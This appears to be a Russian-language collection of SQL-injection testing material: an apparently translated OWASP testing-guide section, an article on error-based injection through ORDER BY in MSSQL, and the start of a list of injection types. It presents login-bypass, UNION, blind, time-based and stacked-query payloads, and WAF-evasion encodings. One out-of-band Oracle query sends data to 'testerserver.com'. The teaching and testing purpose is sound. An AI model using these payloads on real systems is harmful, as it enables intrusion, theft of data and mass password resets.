Тестировщик должен составить список всех полей ввода, значения которых могут быть использованы при построении SQL-запроса, включая скрытые поля POST-запросов, а затем протестировать их отдельно, пытаясь повлиять на запрос и вызвать ошибку. Учитывайте также заголовки HTTP и cookie.

Самый первый тест обычно состоит из добавления символа одинарной кавычки ' или точки с запятой ; к тестируемому полю или параметру. Первый используется в SQL как признак конца строки и, если его не отфильтровать приложением, приведёт к некорректному запросу. Второй используется для завершения оператора SQL, и, если не отфильтровать, он также может вызвать ошибку. Вывод ошибки из-за уязвимого поля может выглядеть следующим образом (в данном случае на примере Microsoft SQL Server):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113

Также можно использовать разделители для обозначения комментариев (-- или /* */, и т.д.) и другие ключевые слова SQL, такие как AND и OR, чтобы попытаться изменить запрос. Очень простой, но иногда всё же эффективный метод — просто вставить текстовую строку вместо ожидаемого числа, поскольку может возникнуть ошибка, подобная следующей:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

Отслеживайте ответы web-сервера и просмотрите исходный код HTML/JavaScript. Иногда ошибка в нём, но по какой-то причине (например, ошибка JavaScript, HTML-комментарии и т.д.) она не отображается пользователю. Полное сообщение об ошибке, подобное приведённым в примерах, даёт массу информации для проведения успешной инъекции. Тем не менее, приложения часто не дают столько подробностей: может быть выдано простое ‘500 Server Error’ или пользовательская страница ошибки, что означает, что нам нужно использовать методы слепой инъекции. В любом случае, очень важно тестировать каждое поле по отдельности: должна меняться только одна переменная, а все остальные оставаться неизменными, чтобы точно понять, какие параметры уязвимы, а какие нет.

Стандартное тестирование SQL-инъекций

Классическая SQL-инъекция

Рассмотрим следующий SQL-запрос:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

Подобный запрос обычно поступает от web-приложения для аутентификации пользователя. Если запрос возвращает значение, это означает, что в базе данных существует пользователь с таким набором учётных данных, тогда пользователю разрешён вход в систему, в противном случае доступ запрещён. Значения полей ввода обычно получают от пользователя через web-форму. Предположим, мы вставляем следующие значения имени пользователя и пароля:

$username = 1' or '1' = '1

$password = 1' or '1' = '1

Запрос будет таким:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

Если предположить, что значения параметров отправляются на сервер методом GET, а домен уязвимого сайта — www.example.com, то запрос, который мы выполним, будет следующим:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;password=1'%20or%20'1'%20=%20'1

После небольшого анализа мы замечаем, что запрос возвращает значение (или набор значений), потому что условие всегда истинно (OR 1=1). Таким образом, система аутентифицировала пользователя, не зная ни его имени, ни пароля.

Примечание. В некоторых системах первой строкой таблицы пользователей выводится пользователь-администратор. В некоторых случаях это может быть профиль.

Другой пример запроса:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

Здесь есть две проблемы: одна из-за использования скобок, а другая — в использовании хэш-функции MD5. Сначала определимся со скобками. Задача состоит в добавлении ряда закрывающих скобок, пока мы не получим корректный запрос. Чтобы решить вторую проблему, попытаемся обойти второе условие. Мы добавляем к нашему запросу завершающий символ, означающий начало комментария. Таким образом, всё, что идёт за ним, считается комментарием. Каждая СУБД имеет свой синтаксис для комментариев, однако общий для большинства баз данных символ — /*. В Oracle используется символ --. При этом значения, которые мы будем использовать в качестве имени пользователя и пароля, будут следующими:

$username = 1' or '1' = '1'))/*

$password = foo

Таким образом, мы получим следующий запрос:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))

(Из-за включения разделителя комментариев в значение $username часть запроса с паролем будет игнорироваться.)

URL запроса будет:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;password=foo

Он может выдать несколько значений. Иногда код аутентификации проверяет, что количество выдаваемых записей/результатов точно равно 1. В предыдущих примерах это было бы сложно (в базе данных есть только одно значение для каждого пользователя). Чтобы обойти эту проблему, достаточно вставить команду SQL, которая накладывает условие, что количество возвращаемых результатов должно быть равно единице (выдаётся одна запись). Для достижения этой цели мы используем оператор LIMIT <num>, где <num> — количество результатов/записей, которые мы хотим получить. По отношению к предыдущему примеру значение полей Username и Password будет изменено следующим образом:

$username = 1' or '1' = '1')) LIMIT 1/*

$password = foo

Таким образом, мы получаем запрос, подобный следующему:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;password=foo

Оператор SELECT

Рассмотрим следующий SQL-запрос:

SELECT * FROM products WHERE id_product=$id_product

Рассмотрим также запрос к скрипту, который выполняет приведённый выше запрос:

http://www.example.com/product.php?id=10

Когда тестировщик пробует ввести допустимое значение (например, 10), приложение выдаёт описание продукта. Хороший способ проверить, уязвимо ли приложение в этом сценарии, — поиграть с логикой, используя операторы AND и OR.

Рассмотрим запрос:

http://www.example.com/product.php?id=10 AND 1=2

SELECT * FROM products WHERE id_product=10 AND 1=2

В этом случае, возможно, приложение вернёт какое-то сообщение о том, что контент недоступен или пустую страницу. Затем тестировщик может отправить истинное утверждение и проверить, есть ли на самом деле результат:

http://www.example.com/product.php?id=10 AND 1=1

Составные запросы

В зависимости от API и СУБД, которые использует web-приложение (например, PHP + PostgreSQL, ASP + SQL Server), может существовать возможность выполнять более одного запроса за один вызов.

Рассмотрим следующий SQL-запрос:

SELECT * FROM products WHERE id_product=$id_product

Способом эксплуатации описанного выше сценария было бы:

http://www.example.com/product.php?id=10; INSERT INTO users (…)

Таким образом можно выполнять много запросов подряд и независимо от первого запроса.

Определение базы данных

Несмотря на то, что язык SQL является стандартом, каждая СУБД имеет свои особенности и отличается от других во многих аспектах, таких как специальные команды, функции для извлечения данных, например, имён пользователей и баз данных, строки комментариев и т.д.

Когда тестировщики переходят к более продвинутой эксплуатации SQL-инъекций, им необходимо знать, что представляет собой сервер базы данных.

Ошибки, выдаваемые приложением

Первый способ узнать, какой сервер баз данных используется, — посмотреть на ошибки, выдаваемые приложением. Ниже приведены некоторые примеры сообщений об ошибках:

MySQL:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near ''' at line 1

Один полный UNION SELECT с version() также может помочь узнать сервер базы данных.

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1

Oracle:

ORA-00933: SQL command not properly ended

MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1

PostgreSQL:

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.

Если сообщения об ошибке нет или модифицировано стандартное, тестировщик может попытаться ввести инъекцию в строковые поля, используя соответствующие символы конкатенации:

  • MySQL: ‘test’ + ‘ing’
  • SQL Server: ‘test’ ‘ing’
  • Oracle: ‘test’||’ing’
  • PostgreSQL: ‘test’||’ing’

Методы эксплуатации

Метод эксплуатации UNION

Оператор UNION используется в SQL-инъекциях для присоединения специально составленного запроса к исходному. Результат поддельного запроса будет присоединён к результату исходного, что позволит получить значения столбцов других таблиц. Предположим для наших примеров, что запрос, выполняемый сервером, выглядит следующим образом:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

Установим $id в следующее значение:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Получаем следующий запрос:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Который объединит результат исходного запроса со всеми номерами кредитных карт в таблице CreditCardTable. Ключевое слово ALL необходимо для обхода запросов, использующих ключевое слово DISTINCT. Отметим, что помимо номеров кредитных карт мы выбрали два других значения. Эти два значения необходимы, потому что два запроса должны иметь равное количество параметров/столбцов, чтобы избежать синтаксической ошибки.

Первое, что необходимо для эксплуатации уязвимости SQL-инъекций с использованием данного метода, — найти правильное количество столбцов в операторе SELECT.

Для достижения этой цели можно использовать предложение ORDER BY, за которым следует число, указывающее номер выбранного столбца базы данных:

http://www.example.com/product.php?id=10 ORDER BY 10--

Если запрос выполняется успешно, можно предположить, что в этом примере в операторе SELECT 10 или более столбцов. Если неудачей, то запрос должен выводить менее 10 столбцов. Если появится сообщение об ошибке, вероятно, это будет:

Unknown column '10' in 'order clause'

После того, как тестировщик узнает количество столбцов, следующим шагом будет определение их типа. Предполагая, что в примере выше было 3 столбца, можно попробовать значение NULL для каждого типа:

http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--

Если запрос завершится неудачей, мы увидим что-то вроде:

All cells in a column must have the same datatype

Если запрос выполняется успешно, первый столбец может быть целым числом. Можем двигаться дальше:

http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--

После успешного сбора информации, в зависимости от приложения, оно может показать только первый результат, потому что обрабатывает только первую строку из набора результатов. В этом случае можно использовать предложение LIMIT, или установить недопустимое значение, сделав действительным только второй запрос (предположим, что в базе данных нет записи с id, равным 99999):

http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--

Эксплуатация методом логического вывода

Эксплуатация методом логического вывода полезна, когда тестировщик обнаруживает ситуацию слепой SQL-инъекции, в которой ничего не известно о результате операции. Например, такое поведение проявляется в тех случаях, когда программист создал нестандартную страницу ошибки, которая ничего не говорит о структуре запроса или базе данных, т.е. не выдаёт ошибку SQL, а просто выводит HTTP 500, 404 или перенаправление.

Используя методы логического вывода, можно обойти это препятствие и, таким образом, узнать значения желаемых полей. Этот метод состоит в выполнении ряда логических запросов к серверу, наблюдения за ответами и, наконец, вывода значения из этих ответов. Мы, как всегда, рассматриваем домен www.example.com и предположим, что он содержит параметр с именем id, уязвимый для SQL-инъекций. Это означает, что при выполнении запроса

http://www.example.com/index.php?id=1'

мы получим страницу с нестандартным сообщением, вызванным синтаксической ошибкой в запросе. Предположим, что на сервере выполняется запрос

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

который можно эксплуатировать с помощью методов, рассмотренных ранее. Мы хотим получить значения поля username. Тесты, которые мы проведём, позволят получить значение этого поля, извлекая его посимвольно. Это возможно с помощью стандартных функций, присутствующих практически в каждой базе данных. Для наших примеров понадобятся следующие псевдофункции:

  • SUBSTRING (text, start, length): выдаёт подстроку из text, начинающуюся с позиции start длиной length. Если start больше длины text, то null.

  • ASCII (char): ASCII-значение char, или null, если char равен 0.

  • LENGTH (text): количество символов в text.

С помощью данных функций мы проведём наши тесты для первого символа; когда выясним его значение, перейдем ко второму и т.д., пока не узнаем всё значение целиком. В тестах функция SUBSTRING будет применяться, чтобы выбирать по одному символу за раз (выбор одного символа означает присвоение параметру length значения 1), и функция ASCII, чтобы получить значение в таблице ASCII и сравнить между собой два числа. Сравнение проводится по всем значениям таблицы ASCII до тех пор, пока не будет найдено правильное. В качестве примера возьмём следующее значение Id:

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

получим следующий запрос (с этого момента будем называть его косвенным):

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

Предыдущий пример возвращает результат тогда и только тогда, когда первый символ поля username равен ASCII-значению 97. Если получаем значение false, то увеличиваем индекс по таблице ASCII с 97 до 98 и повторяем запрос. Если значение true, то обнуляем индекс и анализируем следующий символ, изменяя параметры функции SUBSTRING. Задача состоит в том, чтобы понять, каким образом отличить тесты, возвращающие true, от тех, которые возвращают false. Чтобы решить её, сделаем запрос, который всегда возвращает false. Это возможно, если для Id задать значение

$Id=1' AND '1' = '2

Получим следующий запрос:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

Полученный ответ от сервера (то есть HTML-код) будет значением false для наших тестов. Этого достаточно, чтобы проверить, равно ли значение, полученное в результате выполнения косвенного запроса, значению, полученному с помощью теста, выполненного ранее. Иногда этот метод не работает. Если сервер возвращает разные страницы в результате двух одинаковых последовательных web-запросов, мы не сможем отличить значение true от false. В этих частных случаях необходимо использовать особые фильтры, которые позволяют исключить код, который изменяется между запросами, и получить шаблон. Позже, для каждого логического запроса, мы будем извлекать относительный шаблон из ответа, используя ту же функцию, и сравнивать оба шаблона, чтобы определить результат теста.

В предыдущем обсуждении мы не касались проблемы определения условия завершения наших тестов, т.е. когда мы должны завершить процедуру логического вывода. Методы, позволяющие сделать это, используют особенность функций SUBSTRING и LENGTH. Когда тест сравнивает текущий символ с кодом ASCII 0 (т.е. со значением null) и тест возвращает значение true, то либо мы закончили процедуру вывода (просканировав всю строку), либо проанализированное нами значение содержит символ null.

Вставим следующее значение для поля Id:

$Id=1' AND LENGTH(username)=N AND '1' = '1

где N — количество символов, которые мы проанализировали до сих пор (не считая значения null). Получаем запрос:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

Запрос возвращает либо true, либо false. Если мы получаем true, то мы завершили вывод и, следовательно, знаем значение параметра. Если мы получаем false, то в значении параметра присутствует символ null, и мы должны продолжить анализ следующего параметра, пока не найдём новый null.

Для атаки с использованием слепой SQL-инъекции требуется большой объем запросов, поэтому может понадобиться автоматический инструмент для эксплуатации этой уязвимости.

Метод эксплуатации на основе ошибок

Метод эксплуатации на основе ошибок полезен, когда тестировщик по какой-либо причине не может использовать уязвимость SQL-инъекции, используя другие методы, например, UNION. Метод, основанный на ошибках, заключается в том, чтобы заставить базу данных выполнить некоторую операцию, результатом которой будет ошибка. Суть здесь в том, чтобы попытаться извлечь некоторые данные из базы и показать их в сообщении об ошибке. Этот метод эксплуатации может отличаться от СУБД к СУБД (см. разделы, посвященные конкретным СУБД).

Рассмотрим следующий SQL-запрос:

SELECT * FROM products WHERE id_product=$id_product

Рассмотрим также скрипт, выполняющий запрос выше:

http://www.example.com/product.php?id=10

Вредоносный запрос будет (пример для Oracle 10g):

http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--

В этом примере тестировщик конкатенирует значение 10 с результатом функции UTL_INADDR.GET_HOST_NAME. Эта функция Oracle попытается выдать имя хоста переданного ей параметра, который является другим запросом, именем пользователя. Когда база данных ищет имя хоста с именем базы данных пользователя, произойдет сбой и будет выдано сообщение об ошибке, вроде

ORA-292257: host SCOTT unknown

Затем тестировщик может манипулировать параметром, переданным функции GET_HOST_NAME(), и результат будет показан в сообщении об ошибке.

Внеполосные методы эксплуатации

Этот метод полезен, когда тестировщик попадает в ситуацию слепой SQL-инъекции, в которой ничего не известно о результате операции. Метод заключается в использовании функций СУБД для выполнения внеполосного соединения и доставки результатов инъекции в составе запроса на сервер тестировщика. Как и методы, основанные на ошибках, каждая СУБД имеет свои собственные функции, которые можно посмотреть в разделах, посвящённых конкретным СУБД.

Рассмотрим следующий SQL-запрос:

SELECT * FROM products WHERE id_product=$id_product

Рассмотрим также скрипт, который вызывает запрос выше:

http://www.example.com/product.php?id=10

Получаем вредоносный запрос:

http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--

В этом примере тестировщик конкатенирует значение 10 с результатом функции UTL_HTTP.request. Эта функция Oracle попытается подключиться к testerserver и выполнить HTTP-запрос GET, содержащий результат запроса SELECT user FROM DUAL. Тестировщик может настроить web-сервер (например, Apache) или использовать инструмент Netcat:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

Метод эксплуатации с временной задержкой

Метод эксплуатации с временной задержкой полезен, когда тестировщик обнаруживает ситуацию слепой SQL-инъекции, в которой ничего не известно о результате операции. Этот метод заключается в передаче запроса-инъекции, и в случае, если условие истинно, тестировщик может отслеживать время, необходимое для ответа сервера. Если есть задержка, тестировщик может предположить, что результат условного запроса является истинным. Этот метод эксплуатации может отличаться от СУБД к СУБД (см. разделы, посвященные конкретным СУБД).

Рассмотрим следующий SQL-запрос:

SELECT * FROM products WHERE id_product=$id_product

Рассмотрим также скрипт, который выполняет запрос выше:

http://www.example.com/product.php?id=10

Вредоносный запрос (например, для MySql 5.x):

http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--

В этом примере проверяется, соответствует ли MySql версии 5.x или нет, заставляя сервер задерживать ответ на 10 секунд. Можно увеличить время задержки и контролировать ответы. Не обязательно ждать ответа. Иногда можно установить очень большое значение задержки (например, 100) и отменить запрос через несколько секунд.

Инъекция хранимой процедуры

При использовании динамического SQL в рамках хранимой процедуры приложение должно надлежащим образом нейтрализовать пользовательский ввод, чтобы исключить риск инъекции кода. Если этого не сделать, пользователь может ввести вредоносный SQL, который будет выполнен в рамках хранимой процедуры.

Рассмотрим следующую хранимую процедуру для SQL Server:

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring  =Select 1 from users
Where username =+ @username +and passwd =+ @passwd
exec(@sqlstring)
Go

Пользовательский ввод:

anyusername or 1=1'
anypassword

Данная процедура не нейтрализует ввод, поэтому возвращаемое ею значение позволяет отображать существующую запись с этими параметрами.

Этот пример может показаться маловероятным из-за использования динамического SQL для входа пользователя, но рассмотрим динамический запрос для отчёта, в котором пользователь выбирает столбцы для просмотра. Пользователь может вставить вредоносный код в этот сценарий и скомпрометировать данные.

Рассмотрим следующую хранимую процедуру в SQL Server:

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring  =Select+ @columnamelist +from ReportTable‘
exec(@sqlstring)
Go

Пользовательский ввод:

1 from users; update users set password = 'password'; select *

Это приведёт к запуску отчёта и обновлению паролей всех пользователей.

Автоматизированная эксплуатация

Большинство ситуаций и методов, представленных здесь, можно автоматизировать с помощью тех или иных инструментов. В этой статье тестировщик может найти информацию о том, как выполнить автоматический аудит с помощью SQLMap

Методы уклонения от сигнатур SQL-инъекций

Эти методы используются для обхода средств защиты, таких как брандмауэры web-приложений (WAF) или системы предотвращения вторжений (IPS). Также см. SQL-инъекция в обход WAF.

Пробелы

Удаление или вставка пробелов не влияют на SQL-выражение. Например,

Добавление специального символа, такого как перевод строки или табуляция, не изменит выполнение SQL-выражения. Например,

Null-байт

Используйте нулевой байт (%00) перед любыми символами, которые блокирует фильтр.

Например, если злоумышленник может ввести следующий SQL

' UNION SELECT password FROM Users WHERE username='admin'--

добавив нулевые байты будет

%00' UNION SELECT password FROM Users WHERE username='admin'--

Комментарии в SQL

Добавление встроенных комментариев в SQL также может помочь оператору SQL быть корректным и обойти фильтр SQL-инъекций. Возьмём эту SQL-инъекцию в качестве примера:

' UNION SELECT password FROM Users WHERE name='admin'--

Добавляя встроенные комментарии в SQL получим

'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--

'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--

Кодировка URL

Используйте URL-кодировщик для кодирования SQL-выражения

' UNION SELECT password FROM Users WHERE name='admin'--

Получаем выражение SQL-инъекции в кодировке URL

%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--

Кодировка символов

Функцию Char() можно использовать для замены символов, например, английских букв. Т.е. char(114,111,111,116) означает root:

' UNION SELECT password FROM Users WHERE name='root'--

Выражение SQL-инъекции с применением Char():

' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--

Конкатенация строк

Конкатенация разбивает ключевые слова SQL и обходит фильтры. Синтаксис конкатенации зависит от сервера базы данных. Возьмем в качестве примера MS SQL:

select 1

Простое SQL-выражение можно изменить, как показано ниже, с помощью конкатенации.

EXEC('SEL' + 'ECT 1')

Шестнадцатеричная кодировка

Метод hex-кодирования использует шестнадцатеричную кодировку для замены исходного символа SQL-выражения. Например, root может быть представлен как 726F6F74

Select user from users where name = 'root'

Тот же SQL с использованием HEX-значения:

Select user from users where name = 726F6F74

или

Select user from users where name = unhex('726F6F74')

Объявление переменных

Объявите SQL-инъекцию как переменную и выполните её.

Например, SQL-инъекция ниже

Union Select password

определяет SQL-выражение в переменной SQLivar

; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
EXEC(@SQLivar)

Альтернативное выражение ‘or 1 = 1’

OR 'SQLi' = 'SQL'+'i'
OR 'SQLi' &gt; 'S'
or 20 &gt; 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
1 || 1 = 1
1 && 1 = 1

SQL-инъекция с символами подстановки

Большинство диалектов SQL поддерживают как односимвольные (обычно «?» или «_«), так и многосимвольные знаки подстановки (обычно «%» или «*«), которые могут использоваться в запросах с оператором LIKE. Даже когда для защиты от атак SQL-инъекций используются соответствующие меры защиты (такие как параметры или заранее подготовленные выражения), можно вставлять в запросы символы подстановки.

Например, если web-приложение в процессе оформления заказа позволяет пользователям вводить промокод, и проверяет, существует ли этот код в базе данных, с помощью запроса, например, SELECT * FROM discount_codes WHERE code LIKE ':code', то ввод значения % (которое вставляется вместо параметра :code) выведет все промокоды.

Этот метод также можно использовать для определения значений промокодов с помощью уточняющих запросов (например, a%, b%, ba%, и т.д.).

Меры защиты

  • Чтобы защитить приложение от SQL-инъекций, обратитесь к Памятке по предотвращению SQL-инъекций.
  • Чтобы защитить сервер базы данных, обратитесь к Памятке по защите баз данных.

Общие сведения о контроле входных данных см. в Памятке по контролю входных данных.

Инструменты

  • Строки для фаззинга SQL-инъекций (из инструмента wfuzz) — Fuzzdb
  • sqlbftools
  • Bernardo Damele A. G.: sqlmap, инструмент автоматизации SQL-инъекций
  • Muhaimin Dzulfakar: MySqloit, инструмент для захвата инъекций

Ссылки

  • OWASP Top 10 2017-A1 > A03:2021
  • SQL-инъекция

Для следующих СУБД и технологий были созданы свои разделы руководства по тестированию:

  • Oracle
  • MySQL
  • SQL Server
  • PostgreSQL
  • MS Access
  • NoSQL
  • ORM
  • На стороне клиента

Технические руководства

  • Victor Chapela: «Advanced SQL Injection»
  • Chris Anley: «More Advanced SQL Injection»
  • David Litchfield: «Data-mining with SQL Injection and Inference»
  • Imperva: «Blinded SQL Injection»
  • PortSwigger: «SQL Injection Cheat Sheet»
  • Kevin Spett from SPI Dynamics: «Blind SQL Injection»
  • «ZeQ3uL» (Prathan Phongthiproek) and «Suphot Boonchamnan»: «Beyond SQLi: Obfuscate and Bypass»
  • Adi Kaploun and Eliran Goshen, Check Point Threat Intelligence & Research Team: «The Latest SQL Injection Trends»

Документация по уязвимостям SQL-инъекций в продуктах

  • Anatomy of the SQL injection in Drupal’s database comment filtering system SA-CORE-2015-003

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера

Автор: Manish Kishan Tanwar

Введение

Уязвимости, связанные с SQL-инъекциями, являются одними из наиболее старых и хорошо известных, которые доставили немало проблем обитателям киберпространства. Специалисты по безопасности опубликовали множество статей, описывающих техники для проведения различных типов атак, включая доступ к информации в базах данных, чтение/запись кода с/на сервер при помощи конструкций «load outfile» и «into outfile» в MySQL и выполнение кода от имени учетной записи SA в MSSQL.

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера в случае, если есть ошибка в синтаксисе SQL-запроса.

Если информация передается пользователем через SQL-запрос в качестве имени колонки, используемой в операторе «Order By», обычная SQL-инъекция на базе ошибки (Error based SQL Injection) не поможет.

Все дело в том, что в SQL-сервере предусмотрен предопределенный набор правил для SQL-запросов из-за которых, мы не можем воспользоваться техникой «Error based SQL Injection».

С другой стороны, пользователь может передать имя функции внутри оператора «Order by», и в этом случае эксплуатация бреши становится возможной. Мы должны внедрить функцию на стороне SQL-сервера, которая выполняет запрос, передаваемый в качестве аргумента, пытается выполнить операции с результатами выполнения инжектированного запроса, а затем выдает ошибку, через которую отобразятся результаты инжектированного SQL-запроса.

Схема эксплуатации

Существует не так много функций, которые могут выполнять SQL-запрос, передаваемый в качестве аргумента, производят операции по результатам выполнения запроса и выдают результаты выполнения SQL-запроса через ошибку.

Convert() – одна из наиболее часто используемых функции при реализации выполнении инъекций Error based SQL injection в сочетании с оператором «and».

Функция convert() пытается выполнить преобразование результатов запроса, передаваемого во втором аргументе, в соответствие с типом данных, указанным в первом аргументе.

Например, при использовании конструкции convert(int,@@version) вначале будет выполняться SQL-запрос из второго аргумента, а затем функция convert попытается преобразовать результаты выполнения запроса к целочисленному типу. Однако поскольку SQL-запрос возвращает данные типа varchar, преобразование не выполнится, и функция convert возвратит ошибку, суть которой будет сводиться к тому, что результаты выполнения запроса не могут быть преобразованы к целочисленному типу. Именно используя этот трюк, злоумышленник может получить результаты выполнения SQL-запроса.

Перечень функций, при помощи которых доступна реализация похожих сценариев:

  • convert ()

  • file_name ()

  • db_name()

  • col_name()

  • filegroup_name()

  • object_name()

  • schema_name()

  • type_name()

  • cast()

Пример

Предположим, что у нас есть URL, где присутствует уязвимость на базе SQL-инъекции, когда мы передаем содержимое поля «order» через метод HTTP GET:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;amp;amp;order=column_name

Приложение принимает пользовательские данные из параметра «order» метода HTTP GET и формирует следующий запрос:

Select table_name,column_name from information_schema.columns order by column_name

Примеры инъекций с функцией convert()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order=convert(int,@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by convert(int,@@version)

Рисунок 1: Пример SQL-инъекции для получения версии сервера с использованием функции convert 

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order=CONVERT(int,(select top(1) table_name from information_schema.columns))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by CONVERT(int,(select top(1) table_name from information_schema.tables))

Рисунок 2: Пример SQL-инъекции для извлечения имени таблицы с использованием функции convert

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order= convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Рисунок 3: Пример SQL-инъекции для извлечения имени колонки с использованием функции convert

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order=convert(int,(select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) xserver_name from spt_fallback_db))

Рисунок 4: Пример SQL-инъекции для получения информации из колонки с использованием функции convert

Примеры инъекций с функцией file_name()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;order=file_name(@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(@@version)

Рисунок 5: Пример SQL-инъекции для получения версии сервера с использованием функции file_name

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order=file_name(select top(1) table_name from information_schema.columns)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(select top(1) table_name from information_schema.tables)

Рисунок 6: Пример SQL-инъекции для извлечения имени таблицы с использованием функции file_name

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order= file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Рисунок 7: Пример SQL-инъекции для извлечения имени колонки с использованием функции file_name

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order= file_name((select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name((select top(1) xserver_name from spt_fallback_db))

Рисунок 8: Пример SQL-инъекции для получения информации из колонки с использованием функции file_name

Благодарности

Выражаю особую благодарность IndiShell Crew и Myhackerhouse.

Типы SQLi

Существует 5 основных типов SQL инъекций:

  1. Классическая (In-Band или Union-based). Самая опасная и редко встречающаяся сегодня атака. Позволяет сразу получать любые данные из базы.
  2. Error-based. Позволяет получать информацию о базе, таблицах и данных на основе выводимого текста ошибки СУБД.
  3. Boolean-based. Вместо получения всех данных, атакующий может поштучно их перебирать, ориентируясь на простой ответ типа true/false.
  4. Time-based. Похожа на предыдущую атаку принципом перебора, манипулируя временем отклика базы.
